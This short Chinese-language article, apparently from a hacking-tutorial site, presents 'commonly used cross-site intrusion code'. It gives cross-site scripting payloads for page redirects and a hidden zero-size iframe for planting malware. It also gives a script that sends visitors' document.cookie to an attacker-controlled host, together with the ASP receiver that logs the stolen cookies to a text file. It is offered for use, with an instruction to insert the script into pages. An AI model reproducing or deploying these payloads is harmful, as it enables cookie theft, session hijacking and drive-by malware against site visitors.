[推荐]几个跨站入侵经常使用的代码
热 荐 ★★★★★
几个跨站入侵经常使用的代码
〈script〉alert("******")〈/script〉
〈meta http-equiv="refresh" content="1;url=http://www.baidu.com"〉 转向代码
〈script language=vbscript〉 window.location.href="http://www.baidu.com" 〈/script〉
指定转象百度!
〈iframe name="I1" src="http://www.baidu.com/" width="0" height="0"〉 〈/iframe〉
挂马
用源码编辑模式在〈/tbody〉前插入跨站代码:
〈script〉windows.open(’http://www.xxxx.com/info.asp?msg=’+document.cookie)〈/script〉
Info.asp的内容:
〈%
testfile=Server.MapPath("buhu.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%〉
〈script language=vbscript〉
window.location.href="http://www.xxxx.cn"
〈/script〉
http://www.xxxx.cn为你的空间 盗取COOKIES
文章录入:cainiaowang 责任编辑:cainiaowang